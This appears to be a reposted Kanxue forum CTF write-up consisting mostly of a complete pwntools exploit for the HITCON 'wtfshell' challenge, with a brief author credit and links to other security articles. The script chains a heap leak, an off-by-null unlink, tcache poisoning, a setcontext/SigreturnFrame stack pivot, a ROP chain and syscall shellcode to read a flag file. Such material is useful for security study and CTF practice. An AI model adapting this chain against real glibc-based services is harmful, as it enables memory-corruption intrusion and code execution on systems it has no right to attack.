from pwn import *context(arch = 'amd64', os = 'linux') def qwq(name):  log.success(hex(name)) def debug(point):    if point == 0:        gdb.attach(r)    else:        gdb.attach(r,"b "+point) r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')libc = ELF('/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6') def menu(payload):    r.recvuntil("√")    r.sendline(payload) def add_data(name,content):    payload = b'rip.'+name    menu(payload)    sleep(0.1)    r.send(content) def new_file(name,flag):    payload = b'nsfw,'+name+b','+flag    menu(payload) def show_file(name):    payload = b'omfg,'+name    menu(payload) def recover_data(name,content):    payload = b'wtf,'+content+b','+name    menu(payload) def delete_file(name):    payload = b'gtfo,'+name    menu(payload) def add_user(name):    payload = b'stfu,'+name    menu(payload) def edit_pwd(name,pwd):    payload = b'asap,'+name    menu(payload)    r.recvuntil(b"password:")    r.send(pwd)    r.recvuntil(b"retype password:")    r.send(pwd) def delete_all():    payload = b'irl.'    menu(payload) def burp(name,pwd):    addr = "\x80"    for i in range(0x6):        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))        for j in range(0xb,0xff):            payload = b'asap,'+name            menu(payload)            r.recvuntil(b"password:")            r.send(pwd)            r.recvuntil(b"retype password:")            r.send(pwd+addr+chr(j)+"\n")            data=r.recvuntil("\n",timeout=0.1)            if b"asap: " not in data:                addr+=chr(j)                r.send(b'\x00\n')                break            else:                continue     return u64(addr.ljust(0x8,'\0')) def write_addr(filename,payload,size):    whole_size = len(payload)+1    no_null_payload = payload.replace(b'\x00',b'a')    for i in range(size):        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':            recover_data(filename,no_null_payload[0:whole_size-i-2])        else:            continue add_user(b'what')add_user(b'lotus')heap_base=burp(b'lotus',"a"*0x40)-0x880key = heap_base>>12# for i in range(0x7):# new_file(b'chunk1',b'3')# add_data(b'chunk1')new_file(b'big',b'3')new_file(b'gbuff',b'3')new_file(b'off-by-null-chunk',b'3') for i in range(0x7):    new_file(b"chunk"+str(i).encode(),b'3')    new_file(b"chunk1"+str(i).encode(),b'3') new_file(b'chunk21',b'3')new_file(b'chunk22',b'3') for i in range(0x7):    for j in range(0x4):        add_data(b"chunk"+str(i).encode(),b'a'*0x100) for i in range(0x2):    for j in range(0x2):        add_data(b"chunk1"+str(i).encode(),b'a'*0x100)     add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')  for i in range(0x3):    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20) for i in range(3,7):    for j in range(0x2):        add_data(b"chunk1"+str(i).encode(),b'a'*0x100)     add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n') [add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]add_data(b'big',b'a'*0x10+b'\n')new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk add_data(b'big',b'a'*0x100)# free the unsortedbin #add 0x408 back[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]add_data(b'gbuff',b'a'*0xf8+b'\n') #add 0x521 chunk to off-by-null[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]add_data(b'off-by-null-chunk',b'a'*0x10+b'\n') [delete_file(b"chunk"+str(i).encode()) for i in range(0x6)] add_data(b'gbuff',b'a'*0x100) delete_all() new_file(b'useless_chunk',b'3')[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]add_data(b'useless_chunk',b'a'*0x10+b'\n') # add a 0x321 chunk and edit its fake_next_sizenew_file(b'off-by-null-chunk',b'3')[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09') menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size for i in range(0x9):    new_file(b"chunk1"+str(i).encode(),b'3')for i in range(0x9):    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0) fake_point = heap_base+0x2af0fake_point_addr = fake_point+0x30fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2 write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10) [delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]delete_file(b'chunk17')delete_file(b'chunk18')delete_file(b'chunk16') #off by null unlink delete_file(b'off-by-null-chunk') #clear the tcache list 0x20for i in range(0xa):    new_file(b'useless'+str(i).encode(),b'3')    recover_data(b'useless'+str(i).encode(),b'a'*8) new_file(b'a'*0x2e0,b'3')new_file(b'b'*0x2d0,b'3') #leak_libc_baseshow_file(b'chunk14')libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0 new_file(b'a'*0x220,b'3') new_file(b'edit_tcache_next',b'3')recover_data(b'edit_tcache_next',b'a'*0x220)strtok_libc_got = libc_base + 0x1f6040write_addr(b'edit_tcache_next',b'a'*192+p64((strtok_libc_got-0x20)^(key+3)),0x8) new_file(b'a'*0x20,b'3') magic_gadget = libc_base + 0x8c385 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; new_file(b'go_attack',b'3')recover_data(b'go_attack',b'a'*0x20+p64(magic_gadget)[0:6]) address = libc_base + libc.sym['__free_hook']frame = SigreturnFrame()frame.rdi = 0frame.rsi = addressframe.rdx = 0x200frame.rsp = addressframe.rip = libc_base + libc.sym['read'] payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(heap_base + 0x3d50)payload += bytes(frame)menu(payload) pop_rax_ret = libc_base + 0x3fa43pop_rbx_ret = libc_base + 0x2f1d1pop_rcx_ret = libc_base + 0x99a83pop_rdi_ret = libc_base + 0x23b65pop_rsi_ret = libc_base + 0x251bepop_rdx_ret = libc_base + 0x166262pop_r8_ret = libc_base + 0x8c3de # pop r8; mov qword ptr fs:[0x300], rdi; ret;syscall = libc_base + 0x8cc36int_80 = libc_base + 0xce0cb rop = p64(pop_rdi_ret) + p64(0x100000)rop += p64(pop_rsi_ret) + p64(0x1000)rop += p64(pop_rdx_ret) + p64(6)rop += p64(pop_rcx_ret) + p64(0x22)rop += p64(pop_r8_ret) + p64(0xffffffff)rop += p64(libc_base + libc.sym['mmap'])rop += p64(pop_rdi_ret) + p64(0)rop += p64(pop_rsi_ret) + p64(0x100000)rop += p64(pop_rdx_ret) + p64(0x200)rop += p64(libc_base + libc.sym['read'])rop += p64(0x100008)sleep(0.1)r.send(rop) shellcode = asm("""    xor rdi, rdi;    push 3;    pop rax;    syscall;     push 3;    pop rbx;    push 0x100000;    pop rcx;    xor rdx, rdx;    push 0x127;    pop rax;    int 0x80;     xor rdi, rdi;    push rsp;    pop rsi;    add rsi, 0x200;    push rsi;    pop rbx;    push 0x100;    pop rdx;    xor rax, rax;    syscall;     push 1;    pop rdi;    push 0x100;    push rbx;    push rsp;    pop rsi;    push 1;    pop rdx;    push 20;    pop rax;    syscall;""")sleep(0.1)r.send(b'/flag2\x00\x00' + shellcode) qwq(heap_base)qwq(libc_base)r.interactive()
至此,wtfshell2 get。

看雪ID:Loτυs

https://bbs.pediy.com/user-home-959503.htm

*本文由看雪论坛 Loτυs 原创,转载请注明来自看雪社区

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458489324&idx=1&sn=0444904a163ac5f3ef6352c8ce537959&chksm=b18ea16686f92870fe70ca65d2d8938f375ef46369844b765c15123b9009710563d392278eee#rd
如有侵权请联系:admin#unsafe.sh